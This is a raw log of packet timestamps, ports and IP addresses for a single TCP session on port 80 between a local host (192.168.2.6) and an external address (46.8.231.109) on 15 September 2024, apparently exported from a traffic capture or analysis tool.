Sep 15, 2024 19:37:36.668031931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668047905 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668050051 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668065071 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668070078 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668080091 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668080091 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668095112 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668102026 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668111086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668117046 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668124914 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668127060 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668142080 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668149948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668157101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668159008 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668173075 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668180943 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668188095 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668189049 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668205023 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668210030 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668219090 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668229103 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668234110 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668236971 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668246984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668252945 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668260098 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.668272018 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.668287039 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745493889 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745565891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745573044 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745605946 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745626926 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745662928 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745676041 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745703936 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745712996 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745748043 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745780945 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745795012 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745811939 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745819092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745853901 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745865107 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745897055 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745918036 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745929956 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745935917 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745964050 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.745980024 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.745999098 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.746007919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.746037006 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.746048927 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.746095896 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753058910 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753108978 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753151894 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753151894 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753165960 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753216982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753220081 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753253937 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753259897 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753289938 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753300905 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753324986 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753328085 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753380060 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753408909 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753412962 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753432035 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753448009 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753453970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753494978 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753506899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753546953 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753556013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753588915 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753611088 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753623009 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753626108 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753657103 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753676891 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753715038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753724098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753748894 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753782988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753794909 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753815889 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753849030 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753850937 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753875017 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753882885 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753915071 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753917933 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753921986 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.753951073 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.753994942 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754002094 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754030943 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754049063 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754064083 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754090071 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754101038 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754110098 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754136086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754157066 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754172087 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754199982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754204035 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754228115 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754239082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754244089 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754296064 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754309893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754337072 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754347086 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754379988 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754389048 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754414082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754426003 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754452944 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754465103 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754499912 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754520893 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754533052 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754544020 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754566908 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754600048 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754621029 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754635096 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754641056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754668951 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754677057 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754703999 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754710913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754739046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754754066 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754775047 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754779100 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754803896 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754821062 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754836082 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754843950 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754868984 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754883051 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754901886 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754908085 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754935026 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754950047 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.754970074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.754973888 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755003929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755037069 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755054951 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755072117 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755080938 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755106926 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755139112 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755155087 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755167961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755176067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755201101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755223036 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755238056 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755239010 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755281925 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755376101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755438089 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755446911 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755470991 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755484104 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755506039 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755538940 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755549908 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755572081 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755587101 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755604982 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755630970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755645037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755661011 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755678892 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755685091 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755711079 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755719900 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755744934 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755754948 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755778074 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755793095 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755810976 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755816936 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755845070 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755853891 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755882978 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755909920 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.755930901 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.755949974 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756019115 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756052971 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756069899 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756086111 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756089926 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756119013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756151915 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756153107 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756153107 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756185055 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756218910 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756236076 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756251097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756257057 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756284952 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756294012 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756319046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756333113 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756352901 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756359100 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756386995 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756396055 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756421089 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756453991 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756455898 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756488085 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756493092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756493092 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756531000 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756650925 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756684065 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756716013 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756725073 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756741047 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756747961 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756756067 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756781101 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756792068 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756814003 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756824970 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756848097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756853104 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756881952 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756890059 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756916046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756933928 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756949902 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756956100 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.756983995 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.756994009 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.757019997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.757052898 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.757056952 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.757062912 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.757106066 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834244967 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834320068 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834322929 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834358931 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834383011 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834393978 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834423065 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834448099 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834470987 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834484100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834489107 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834518909 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834530115 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834553957 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834587097 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834598064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834620953 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834655046 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834664106 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834687948 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834717989 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834722996 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834754944 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834758997 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.834777117 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.834803104 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841537952 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841589928 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841605902 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841625929 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841660023 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841676950 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841711044 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841743946 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841754913 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841778994 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841799974 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841814995 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841831923 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841851950 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841864109 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841886044 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841900110 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841919899 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841934919 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841953039 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841968060 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.841986895 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.841998100 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842036009 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842042923 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842077017 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842091084 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842109919 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842118979 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842154980 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842237949 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842266083 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842287064 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842298985 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842308998 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842333078 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842341900 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842365980 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842380047 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842398882 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842417955 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842434883 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842478037 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842487097 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842521906 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842529058 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842564106 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842595100 CEST	80	49748	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:36.842612982 CEST	49748	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:36.842628956 CEST	80	49748	46.8.231.109	192.168.2.6
